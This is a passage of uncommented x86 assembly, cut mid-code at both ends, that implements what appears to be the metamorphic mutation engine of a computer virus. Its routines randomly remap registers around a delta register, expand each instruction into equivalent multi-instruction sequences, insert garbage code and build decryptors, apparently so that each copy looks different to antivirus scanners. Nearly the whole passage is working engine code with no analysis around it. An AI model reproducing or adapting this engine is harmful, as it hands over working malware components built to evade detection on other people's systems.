0FCh jz @@UsesMem @@NoMem: xor eax, eax ret @@CheckLastBit: and eax, 1 ret @@Common: cmp eax, 4Eh jz @@UsesMem and eax, 7 cmp eax, 2 jb @@NoMem cmp eax, 4 ja @@NoMem @@UsesMem: mov eax, 1 ret CheckIfInstructionUsesMem endp ;---------------------------------------------------------------------------------- XpandCode proc mov esi, [ebp+InstructionTable] mov edi, [ebp+ExpansionResult] mov eax, [ebp+SizeOfExpansion] mov [ebp+Xp_RecurseLevel], eax mov eax, [ebp+CreatingADecryptor] or eax, eax jnz @@KeepRegisterTranslation mov eax, 8 mov [ebp+Xp_Register0], eax mov [ebp+Xp_Register1], eax mov [ebp+Xp_Register2], eax mov [ebp+Xp_Register3], eax mov [ebp+Xp_Register5], eax mov [ebp+Xp_Register6], eax mov [ebp+Xp_Register7], eax mov eax, 4 mov [ebp+Xp_Register4], eax @@Other8BitsReg: call Random and eax, 7 cmp eax, 3 ja @@Other8BitsReg mov ebx, [ebp+Register8Bits] call Xpand_SetRegister4Xlation @@OtherDeltaReg: call Random and eax, 7 cmp eax, 2 jbe @@OtherDeltaReg cmp eax, 4 jz @@OtherDeltaReg mov ebx, [ebp+DeltaRegister] call Xpand_SetRegister4Xlation or eax, eax jz @@OtherDeltaReg mov ebx, -1 @@NextRegister: add ebx, 1 cmp ebx, [ebp+DeltaRegister] jz @@NextRegister cmp ebx, [ebp+Register8Bits] jz @@NextRegister cmp ebx, 4 jz @@NextRegister cmp ebx, 8 jz @@EndOfRegisters @@OtherRegister: call Random and eax, 7 cmp eax, 4 jz @@OtherRegister call Xpand_SetRegister4Xlation or eax, eax jz @@OtherRegister jmp @@NextRegister @@EndOfRegisters: mov eax, [ebp+DeltaRegister] call Xpand_TranslateRegister mov [ebp+TranslatedDeltaRegister], eax @@KeepRegisterTranslation: @@Expand: call XpandThisInstruction add esi, 10h cmp esi, [ebp+AddressOfLastInstruction] jnz @@Expand mov [ebp+AddressOfLastInstruction], edi call Xpand_UpdateLabels ret XpandCode endp Xpand_TranslateRegister proc or eax, eax jz @@Get0 cmp eax, 1 jz @@Get1 cmp eax, 2 jz @@Get2 cmp eax, 3 jz @@Get3 cmp eax, 4 jz @@Return cmp eax, 5 jz @@Get5 cmp eax, 6 jz @@Get6 cmp eax, 7 jz @@Get7 mov eax, 8 ret @@Get7: mov eax, [ebp+Xp_Register7] ret @@Get0: mov eax, [ebp+Xp_Register0] ret @@Get1: mov eax, [ebp+Xp_Register1] ret @@Get2: mov eax, [ebp+Xp_Register2] ret @@Get3: mov eax, [ebp+Xp_Register3] ret @@Get5: mov eax, [ebp+Xp_Register5] ret @@Get6: mov eax, [ebp+Xp_Register6] @@Return: ret Xpand_TranslateRegister endp Xpand_ReverseTranslation proc cmp eax, 4 jz @@Return cmp eax, [ebp+Xp_Register0] jz @@Return0 cmp eax, [ebp+Xp_Register1] jz @@Return1 cmp eax, [ebp+Xp_Register2] jz @@Return2 cmp eax, [ebp+Xp_Register3] jz @@Return3 cmp eax, [ebp+Xp_Register5] jz @@Return5 cmp eax, [ebp+Xp_Register6] jz @@Return6 cmp eax, [ebp+Xp_Register7] jz @@Return7 mov eax, 8 @@Return: ret @@Return0: xor eax, eax ret @@Return1: mov eax, 1 ret @@Return2: mov eax, 2 ret @@Return3: mov eax, 3 ret @@Return5: mov eax, 5 ret @@Return6: mov eax, 6 ret @@Return7: mov eax, 7 ret Xpand_ReverseTranslation endp Xpand_SetRegister4Xlation proc cmp eax, [ebp+Xp_Register0] jz @@ReturnError cmp eax, [ebp+Xp_Register1] jz @@ReturnError cmp eax, [ebp+Xp_Register2] jz @@ReturnError cmp eax, [ebp+Xp_Register3] jz @@ReturnError cmp eax, [ebp+Xp_Register5] jz @@ReturnError cmp eax, [ebp+Xp_Register6] jz @@ReturnError cmp eax, [ebp+Xp_Register7] jz @@ReturnError or ebx, ebx jz @@SetAt0 cmp ebx, 1 jz @@SetAt1 cmp ebx, 2 jz @@SetAt2 cmp ebx, 3 jz @@SetAt3 cmp ebx, 5 jz @@SetAt5 cmp ebx, 6 jz @@SetAt6 @@SetAt7: mov [ebp+Xp_Register7], eax jmp @@ReturnNoError @@SetAt0: mov [ebp+Xp_Register0], eax jmp @@ReturnNoError @@SetAt1: mov [ebp+Xp_Register1], eax jmp @@ReturnNoError @@SetAt2: mov [ebp+Xp_Register2], eax jmp @@ReturnNoError @@SetAt3: mov [ebp+Xp_Register3], eax jmp @@ReturnNoError @@SetAt5: mov [ebp+Xp_Register5], eax jmp @@ReturnNoError @@SetAt6: mov [ebp+Xp_Register6], eax jmp @@ReturnNoError @@ReturnError: xor eax, eax ret @@ReturnNoError: mov eax, 1 ret Xpand_SetRegister4Xlation endp XpandThisInstruction proc mov eax, [esi+0Bh] mov [edi+0Bh], eax mov [edi+0Ch], esi mov [esi+0Ch], edi xor eax, eax mov al, [esi] cmp eax, 4Ch ja @@Xpand_Next001 xor eax, eax @@Generic: mov [ebp+Xp_8Bits], eax mov eax, [esi] and eax, 78h mov [ebp+Xp_Operation], eax mov eax, [esi] and eax, 7 or eax, eax jz @@OPRegImm cmp eax, 1 jz @@OPRegReg cmp eax, 2 jz @@OPRegMem cmp eax, 3 jz @@OPMemReg @@OPMemImm: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@OPMemImm32 mov eax, [esi+7] and eax, 0FFh cmp eax, 7Fh jbe @@OPMemImmSet or eax, 0FFFFFF00h jmp @@OPMemImmSet @@OPMemImm32: mov eax, [esi+7] @@OPMemImmSet: mov [ebp+Xp_Immediate], eax call Xpand_SetMemoryAddress call Xp_GenOPMemImm jmp @@Ret @@OPRegImm: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@OPRegImm32 mov eax, [esi+7] and eax, 0FFh cmp eax, 7Fh jbe @@OPRegImmSet or eax, 0FFFFFF00h jmp @@OPRegImmSet @@OPRegImm32: mov eax, [esi+7] @@OPRegImmSet: mov [ebp+Xp_Immediate], eax mov eax, [esi+1] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xp_GenOPRegImm jmp @@Ret @@OPRegReg: mov eax, [esi+1] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_SrcRegister], eax mov eax, [esi+7] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xp_GenOPRegReg jmp @@Ret @@OPRegMem: call Xpand_SetMemoryAddress mov eax, [esi+7] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xp_GenOPRegMem jmp @@Ret @@OPMemReg: call Xpand_SetMemoryAddress mov eax, [esi+7] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xp_GenOPMemReg jmp @@Ret @@Xpand_Next001: cmp eax, 00h+80h jb @@Xpand_Next002 cmp eax, 4Ch+80h ja @@Xpand_Next002 mov eax, 80h jmp @@Generic @@Xpand_Next002: cmp eax, 50h jnz @@Xpand_Next003 mov eax, [esi+1] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xp_GenPUSHReg jmp @@Ret @@Xpand_Next003: cmp eax, 51h jnz @@Xpand_Next004 call Xpand_SetMemoryAddress xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenPUSHMem jmp @@Ret @@Xpand_Next004: cmp eax, 58h jnz @@Xpand_Next005 mov eax, [esi+1] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xp_GenPOPReg jmp @@Ret @@Xpand_Next005: cmp eax, 59h jnz @@Xpand_Next006 call Xpand_SetMemoryAddress xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenPOPMem jmp @@Ret @@Xpand_Next006: cmp eax, 68h jnz @@Xpand_Next007 mov eax, [esi+7] mov [ebp+Xp_Immediate], eax call Xp_GenPUSHImm jmp @@Ret @@Xpand_Next007: cmp eax, 70h jb @@Xpand_Next008 cmp eax, 7Fh ja @@Xpand_Next008 mov [ebp+Xp_Operation], eax mov eax, [esi+1] mov [ebp+Xp_Immediate], eax call Xp_GenJcc jmp @@Ret @@Xpand_Next008: cmp eax, 0E0h jnz @@Xpand_Next009 call Xpand_SetRegister call Xp_GenNOTReg jmp @@Ret @@Xpand_Next009: cmp eax, 0E1h jnz @@Xpand_Next010 call Xpand_SetMemoryAddress xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenNOTMem jmp @@Ret @@Xpand_Next010: cmp eax, 0E2h jnz @@Xpand_Next011 call Xpand_Set8BitsRegister call Xp_GenNOTReg jmp @@Ret @@Xpand_Next011: cmp eax, 0E3h jnz @@Xpand_Next012 call Xpand_SetMemoryAddress mov eax, 80h mov [ebp+Xp_8Bits], eax call Xp_GenNOTMem jmp @@Ret @@Xpand_Next012: cmp eax, 0E4h jnz @@Xpand_Next013 call Xpand_SetRegister call Xp_GenNEGReg jmp @@Ret @@Xpand_Next013: cmp eax, 0E5h jnz @@Xpand_Next014 call Xpand_SetMemoryAddress xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenNEGMem jmp @@Ret @@Xpand_Next014: cmp eax, 0E6h jnz @@Xpand_Next015 call Xpand_Set8BitsRegister call Xp_GenNEGReg jmp @@Ret @@Xpand_Next015: cmp eax, 0E7h jnz @@Xpand_Next016 call Xpand_SetMemoryAddress mov eax, 80h mov [ebp+Xp_8Bits], eax call Xp_GenNEGMem jmp @@Ret @@Xpand_Next016: cmp eax, 0E8h jnz @@Xpand_Next017 @@CopyInstruction: mov eax, [esi] mov [edi], eax mov eax, [esi+4] mov [edi+4], eax mov eax, [esi+7] mov [edi+7], eax add edi, 10h jmp @@Ret @@Xpand_Next017: cmp eax, 0E9h jnz @@Xpand_Next018 mov eax, [esi+1] mov [ebp+Xp_Immediate], eax call Xp_GenJMP jmp @@Ret @@Xpand_Next018: cmp eax, 0EAh jnz @@Xpand_Next019 xor eax, eax mov [ebp+Xp_8Bits], eax call Xpand_SetMemoryAddress call Xp_GenCALLMem jmp @@Ret @@Xpand_Next019: cmp eax, 0EBh jnz @@Xpand_Next020 xor eax, eax mov [ebp+Xp_8Bits], eax call Xpand_SetMemoryAddress call Xp_GenJMPMem jmp @@Ret @@Xpand_Next020: cmp eax, 0ECh jnz @@Xpand_Next021 xor eax, eax mov [ebp+Xp_8Bits], eax call Xpand_SetRegister call Xp_GenCALLReg jmp @@Ret @@Xpand_Next021: cmp eax, 0EDh jnz @@Xpand_Next022 xor eax, eax mov [ebp+Xp_8Bits], eax call Xpand_SetRegister call Xp_GenJMPReg jmp @@Ret @@Xpand_Next022: cmp eax, 0F0h jnz @@Xpand_Next023 @@Xpand_TranslateReg: mov eax, [esi+1] and eax, 0FFh call Xpand_TranslateRegister mov [esi+1], eax jmp @@CopyInstruction @@Xpand_Next023: cmp eax, 0F2h jz @@Xpand_TranslateReg @@Xpand_Next024: cmp eax, 0F1h jnz @@Xpand_Next025 @@Xpand_TranslateMem: call Xpand_SetMemoryAddress mov eax, [esi] mov [edi], eax call Xp_CopyMemoryReference mov eax, [esi+7] mov [edi+7], eax add edi, 10h jmp @@Ret @@Xpand_Next025: cmp eax, 0F3h jz @@Xpand_TranslateMem @@Xpand_Next026: cmp eax, 0F4h jnz @@Xpand_Next027 xor eax, eax mov [ebp+Xp_8Bits], eax mov [ebp+Xp_Register], eax call Xp_GenPUSHReg mov eax, 1 mov [ebp+Xp_Register], eax call Xp_GenPUSHReg mov eax, 2 mov [ebp+Xp_Register], eax call Xp_GenPUSHReg jmp @@Ret @@Xpand_Next027: cmp eax, 0F5h jnz @@Xpand_Next028 xor eax, eax mov [ebp+Xp_8Bits], eax mov eax, 2 mov [ebp+Xp_Register], eax call Xp_GenPOPReg mov eax, 1 mov [ebp+Xp_Register], eax call Xp_GenPOPReg xor eax, eax mov [ebp+Xp_Register], eax call Xp_GenPOPReg jmp @@Ret @@Xpand_Next028: cmp eax, 0F6h jnz @@Xpand_Next029_ xor eax, eax mov [ebp+Xp_Register], eax call Xpand_SetMemoryAddress mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg jmp @@Ret @@Xpand_Next029_: cmp eax, 0F8h jnz @@Xpand_Next029 mov eax, [esi+7] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax call Xpand_SetMemoryAddress call Xp_GenMOVZX jmp @@Ret @@Xpand_Next029: cmp eax, 0FCh jnz @@Xpand_Next030 call Xpand_SetMemoryAddress mov eax, [esi+7] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenLEA jmp @@Ret @@Xpand_Next030: cmp eax, 0FEh jnz @@Xpand_Next031 call Xp_GenRET jmp @@Ret @@Xpand_Next031: cmp eax, 0FFh jz @@Return @@Xpand_Next032: cmp eax, 0F7h jnz @@Xpand_Next033 call Xpand_SetMemoryAddress xor eax, eax mov [ebp+Xp_8Bits], eax mov eax, [esi+7] and eax, 0FFh mov [ebp+Xp_Immediate], eax mov eax, [esi+8] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax mov eax, [esi+9] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_SrcRegister], eax call Xp_MakeSET_WEIGHT @@Xpand_Next033: @@Ret: call Random and eax, 02h or eax, eax jnz @@Return mov eax, [esi] and eax, 78h cmp eax, 38h jz @@OnlyNOP cmp eax, 48h jz @@OnlyNOP cmp eax, 0EAh jz @@OnlyNOP cmp eax, 0F6h jz @@OnlyNOP call Xp_InsertGarbage @@Return: ret @@OnlyNOP: mov eax, 90FDh mov [edi], eax xor eax, eax mov [edi+0Bh], eax mov [edi+0Ch], esi add edi, 10h ret XpandThisInstruction endp Xpand_SetMemoryAddress proc mov eax, [esi+1] and eax, 0FFh cmp eax, 9 jnz @@Next_NoIdent mov eax, [esi+3] mov eax, [eax] add eax, [ebp+New_DATA_SECTION] mov [ebp+Xp_Mem_Addition], eax mov eax, [ebp+DeltaRegister] call Xpand_TranslateRegister mov [ebp+Xp_Mem_Index1], eax mov eax, 8 mov [ebp+Xp_Mem_Index2], eax ret @@Next_NoIdent: mov eax, [esi+1] and eax, 0FFh cmp eax, 8 jae @@Next_Index call Xpand_TranslateRegister @@Next_Index: mov [ebp+Xp_Mem_Index1], eax mov eax, [esi+2] mov ecx, eax and ecx, 0C0h and eax, 3Fh cmp eax, 8 jae @@Next_Index2 push ecx call Xpand_TranslateRegister pop ecx or eax, ecx @@Next_Index2: mov [ebp+Xp_Mem_Index2], eax mov eax, [esi+3] mov [ebp+Xp_Mem_Addition], eax call Random and eax, 1 jz @@Return or ecx, ecx jnz @@Return mov eax, [ebp+Xp_Mem_Index1] mov ecx, [ebp+Xp_Mem_Index2] mov [ebp+Xp_Mem_Index1], ecx mov [ebp+Xp_Mem_Index2], eax @@Return: ret Xpand_SetMemoryAddress endp Xpand_UpdateLabels proc mov ebx, [ebp+LabelTable] mov ecx, [ebp+NumberOfLabels] @@LoopLabel: mov eax, [ebx] mov eax, [eax+0Ch] mov [ebx+4], eax add ebx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopLabel ret Xpand_UpdateLabels endp Xpand_Set8BitsRegister proc mov eax, 80h jmp Xpand_SetRegister_Common Xpand_Set8BitsRegister endp Xpand_SetRegister proc xor eax, eax Xpand_SetRegister_Common: mov [ebp+Xp_8Bits], eax mov eax, [esi+1] and eax, 0FFh call Xpand_TranslateRegister mov [ebp+Xp_Register], eax ret Xpand_SetRegister endp Xp_GenLEA proc call Xp_SaveOperation mov eax, [ebp+Xp_Mem_Index1] cmp eax, [ebp+Xp_Register] jz @@Addition1 mov eax, [ebp+Xp_Mem_Index2] cmp eax, [ebp+Xp_Register] jz @@Addition2 mov eax, 40h mov [ebp+Xp_Operation], eax @@MOV_Other: call Random and eax, 3 or eax, eax jz @@MOV_Other cmp eax, 1 jz @@MOV_FirstIndex1 cmp eax, 2 jz @@MOV_FirstIndex2 @@MOV_FirstAddition: mov eax, [ebp+Xp_Mem_Addition] or eax, eax jz @@MOV_Finished2 mov [ebp+Xp_Immediate], eax call Xp_GenOPRegImm xor eax, eax mov [ebp+Xp_Mem_Addition], eax jmp @@MOV_Finished @@MOV_FirstIndex1: mov eax, [ebp+Xp_Mem_Index1] cmp eax, 8 jz @@MOV_Finished2 mov [ebp+Xp_SrcRegister], eax call Xp_GenOPRegReg mov eax, 8 mov [ebp+Xp_Mem_Index1], eax jmp @@MOV_Finished @@MOV_FirstIndex2: mov eax, [ebp+Xp_Mem_Index2] cmp eax, 8 jz @@MOV_Finished2 cmp eax, 8 jb @@MOV_FirstIndex2_Set sub eax, 40h @@MOV_FirstIndex2_Set: mov [ebp+Xp_SrcRegister], eax call Xp_GenOPRegReg mov eax, [ebp+Xp_Mem_Index2] cmp eax, 7 jbe @@MOV_FirstIndex2_Set8 sub eax, 40h mov [ebp+Xp_Mem_Index2], eax jmp @@MOV_Finished @@MOV_FirstIndex2_Set8: mov eax, 8 mov [ebp+Xp_Mem_Index2], eax @@MOV_Finished: xor eax, eax mov [ebp+Xp_Operation], eax @@MOV_Finished2: mov eax, [ebp+Xp_Mem_Index1] cmp eax, 8 jnz @@MOV_Other mov eax, [ebp+Xp_Mem_Index2] cmp eax, 8 jnz @@MOV_Other mov eax, [ebp+Xp_Mem_Addition] or eax, eax jnz @@MOV_Other call Xp_RestoreOperation ret @@Addition1: mov eax, 8 mov [ebp+Xp_Mem_Index1], eax jmp @@MOV_Finished @@Addition2: mov eax, 8 mov [ebp+Xp_Mem_Index2], eax jmp @@MOV_Finished Xp_GenLEA endp Xp_GenOPRegReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jz @@Single call Random and eax, 3 or eax, eax jnz @@Double @@Triple: mov eax, [ebp+Xp_Operation] cmp eax, 38h jae @@Double call Xp_SaveOperation call Xp_GetTempVar mov eax, [ebp+Xp_Operation] push eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg pop eax mov [ebp+Xp_Operation], eax mov eax, [ebp+Xp_Register] push eax mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenOPMemReg pop eax mov [ebp+Xp_Register], eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double: mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Double_MOV cmp eax, 38h jz @@Double_CMP cmp eax, 48h jz @@Double_TEST @@Double_OP: call Xp_SaveOperation call Xp_GetTempVar mov eax, [ebp+Xp_Operation] push eax mov eax, 40h mov [ebp+Xp_Operation], eax mov eax, [ebp+Xp_Register] push eax mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenOPMemReg pop eax mov [ebp+Xp_Register], eax pop eax mov [ebp+Xp_Operation], eax call Xp_GenOPRegMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_MOV: call Random and eax, 1 jz @@Double_OP mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Double_OP mov eax, [ebp+Xp_Register] push eax mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenPUSHReg pop eax mov [ebp+Xp_Register], eax call Xp_GenPOPReg jmp Xp_DecreaseRecurseLevel @@Double_CMP: mov ecx, 3Bh mov edx, 2Bh @@Double_CMPTEST_Common: call Random and eax, 1 jz @@Double_OP call Xp_SaveOperation push ecx push edx call Xp_GetTempVar mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg pop edx pop ecx call Random and eax, 1 jz @@Double_CMPTEST_Next mov edx, ecx @@Double_CMPTEST_Next: add edx, [ebp+Xp_8Bits] mov [edi], edx call Xp_CopyMemoryReference mov eax, [ebp+Xp_SrcRegister] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_TEST: mov ecx, 23h mov edx, 4Bh jmp @@Double_CMPTEST_Common @@Single: mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Single_MOV or eax, eax jz @@Single_ADD @@Single_OP: mov eax, [ebp+Xp_Operation] add eax, 1 add eax, [ebp+Xp_8Bits] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+7], eax mov eax, [ebp+Xp_SrcRegister] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_MOV: mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single_OP call Random and eax, 1 jz @@Single_OP mov eax, 0FCh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+7], eax mov eax, [ebp+Xp_SrcRegister] mov [edi+1], eax mov eax, 8 mov [edi+2], eax xor eax, eax mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_ADD: mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single_OP call Random and eax, 1 jz @@Single_OP mov eax, 0FCh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], eax mov eax, [ebp+Xp_SrcRegister] mov [edi+2], eax xor eax, eax mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenOPRegReg endp Xp_GenOPRegImm proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 1 jz @@Single call Random and eax, 3 or eax, eax jnz @@Double @@Triple: mov eax, [ebp+Xp_Operation] cmp eax, 38h jz @@Double cmp eax, 48h jz @@Double cmp eax, 40h jz @@Double call Xp_SaveOperation call Xp_GetTempVar mov eax, [ebp+Xp_Operation] push eax mov eax, 40h mov [ebp+Xp_Operation], eax call Random and eax, 1 jz @@Triple_1 call Xp_GenOPMemReg pop eax mov [ebp+Xp_Operation], eax call Xp_GenOPMemImm @@Triple_Common: mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Triple_1: call Xp_GenOPMemImm pop eax mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg jmp @@Triple_Common @@Double: mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Double_MOV cmp eax, 38h jz @@Double_CMP cmp eax, 48h jz @@Double_TEST @@Double_OP: call Random and eax, 1 jz @@Double_OP_Composed @@Double_OP_Normal: call Xp_SaveOperation call Xp_GetTempVar mov eax, [ebp+Xp_Operation] push eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPMemImm pop eax mov [ebp+Xp_Operation], eax cmp eax, 38h jz @@Double_OP_Normal_Direct cmp eax, 48h jz @@Double_OP_Normal_Direct call Xp_GenOPRegMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_OP_Normal_Direct: add eax, 2 add eax, [ebp+Xp_8Bits] mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Double_OP_Composed: mov eax, [ebp+Xp_FlagRegOrMem] push eax xor eax, eax mov [ebp+Xp_FlagRegOrMem], eax call Xp_MakeComposedOPImm pop ebx mov [ebp+Xp_FlagRegOrMem], ebx or eax, eax jnz @@Double_OP_Normal jmp Xp_DecreaseRecurseLevel @@Double_MOV: call Random and eax, 1 jz @@Double_OP mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Double_OP call Xp_GenPUSHImm call Xp_GenPOPReg jmp Xp_DecreaseRecurseLevel @@Double_CMP: call Random and eax, 1 jz @@Double_OP mov edx, 38h+4 mov ecx, 28h+4 jmp @@Double_OP_CMPTEST_Common @@Double_TEST: call Random and eax, 1 jz @@Double_OP mov edx, 48h+4 mov ecx, 20h+4 @@Double_OP_CMPTEST_Common: call Xp_SaveOperation push edx push ecx call Xp_GetTempVar mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPMemReg pop ecx pop edx call Random and eax, 1 jz @@Double_OP_CMPTEST_Next mov edx, ecx @@Double_OP_CMPTEST_Next: add edx, [ebp+Xp_8Bits] mov [edi], edx call Xp_CopyMemoryReference mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Single_MOV cmp eax, 38h jz @@Single_CMP cmp eax, 30h jz @@Single_XOR or eax, eax jz @@Single_ADD @@Single_OP: mov eax, [ebp+Xp_Operation] add eax, [ebp+Xp_8Bits] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_MOV: mov eax, [ebp+Xp_Immediate] or eax, eax jz @@Single_MOV_0 @@Single_OP_MOV: call Random and eax, 3 or eax, eax jnz @@Single_OP mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single_OP mov eax, 000808FCh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+7], eax mov eax, [ebp+Xp_Immediate] mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_MOV_0: call Random and eax, 3 or eax, eax jz @@Single_OP_MOV cmp eax, 1 jz @@Single_MOV_0_XOR cmp eax, 2 jz @@Single_MOV_0_SUB @@Single_MOV_0_AND: call Xp_SaveOperation mov eax, 20h mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single_MOV_0_XOR: add eax, 9 @@Single_MOV_0_SUB: add eax, 26h mov ecx, eax call Xp_SaveOperation mov [ebp+Xp_Operation], ecx mov eax, [ebp+Xp_Register] mov [ebp+Xp_SrcRegister], eax call Xp_GenOPRegReg jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single_CMP: mov eax, [ebp+Xp_Immediate] or eax, eax jnz @@Single_OP call Random and eax, 3 or eax, eax jz @@Single_OP cmp eax, 1 jz @@Single_CMP_OR cmp eax, 2 jz @@Single_CMP_AND @@Single_CMP_TEST: add eax, 27h @@Single_CMP_AND: add eax, 17h @@Single_CMP_OR: add eax, 8 add eax, [ebp+Xp_8Bits] mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_XOR: mov eax, [ebp+Xp_Immediate] cmp eax, -1 jnz @@Single_OP call Random and eax, 1 jz @@Single_OP call Xp_GenNOTReg jmp Xp_DecreaseRecurseLevel @@Single_ADD: mov eax, [ebp+Xp_Immediate] cmp eax, 1 jz @@Single_ADD_NOTNEG cmp eax, -1 jz @@Single_ADD_NEGNOT @@Single_OP_ADD: call Random and eax, 1 jz @@Single_OP mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single_OP mov eax, 0FCh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], eax mov eax, 8 mov [edi+2], eax mov eax, [ebp+Xp_Immediate] mov [edi+3], eax add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_ADD_NOTNEG: call Random and eax, 1 jz @@Single_ADD_INC call Random and eax, 1 jz @@Single_OP_ADD call Xp_GenNOTReg call Xp_GenNEGReg jmp Xp_DecreaseRecurseLevel @@Single_ADD_INC: xor ebx, ebx @@Single_ADD_INCDEC_Common: mov eax, [ebp+Xp_8Bits] add eax, 4Eh mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax mov [edi+7], ebx add edi, 10h jmp Xp_DecreaseRecurseLevel @@Single_ADD_NEGNOT: call Random and eax, 1 jz @@Single_ADD_DEC call Random and eax, 1 jz @@Single_OP_ADD call Xp_GenNEGReg call Xp_GenNOTReg jmp Xp_DecreaseRecurseLevel @@Single_ADD_DEC: mov ebx, 8 jmp @@Single_ADD_INCDEC_Common Xp_GenOPRegImm endp Xp_GenOPMemReg proc @@Start: call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 7 or eax, eax jnz @@Single call Random @@Multiple: mov eax, [ebp+Xp_8Bits] or eax, eax jnz @@Single mov eax, [ebp+Xp_Operation] cmp eax, 40h jz @@Multiple_MOV @@Multiple_OP: call Xp_SaveOperation call Xp_GenPUSHMem call Xp_GetTempVar call Xp_GenPOPMem mov eax, [ebp+Xp_Operation] cmp eax, 38h jz @@Multiple_OP_CMP cmp eax, 48h jz @@Multiple_OP_TEST @@Multiple_OP_Common: call Xp_GenOPMemReg call Xp_GenPUSHMem call Xp_RestoreOperation call Xp_GenPOPMem jmp Xp_DecreaseRecurseLevel @@Multiple_OP_CMP: mov ecx, 3Bh mov edx, 2Bh jmp @@Multiple_OP_CMPTEST_Common @@Multiple_OP_TEST: mov ecx, 23h mov edx, 4Bh @@Multiple_OP_CMPTEST_Common: call Random and eax, 1 jz @@Multiple_OP_CMPTEST_Next mov edx, ecx @@Multiple_OP_CMPTEST_Next: add edx, [ebp+Xp_8Bits] mov [edi], edx call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Multiple_MOV: @@Multiple_MOV_Other: call Random and eax, 3 or eax, eax jz @@Multiple_OP cmp eax, 1 jz @@Multiple_MOV_1 cmp eax, 2 jnz @@Multiple_MOV_Other @@Multiple_MOV_2: call Xp_GenPUSHReg call Xp_GenPOPMem jmp Xp_DecreaseRecurseLevel @@Multiple_MOV_1: call Xp_SaveOperation call Xp_GetTempVar jmp @@Multiple_OP_Common @@Single: mov eax, [ebp+Xp_Operation] add eax, [ebp+Xp_8Bits] add eax, 3 mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp 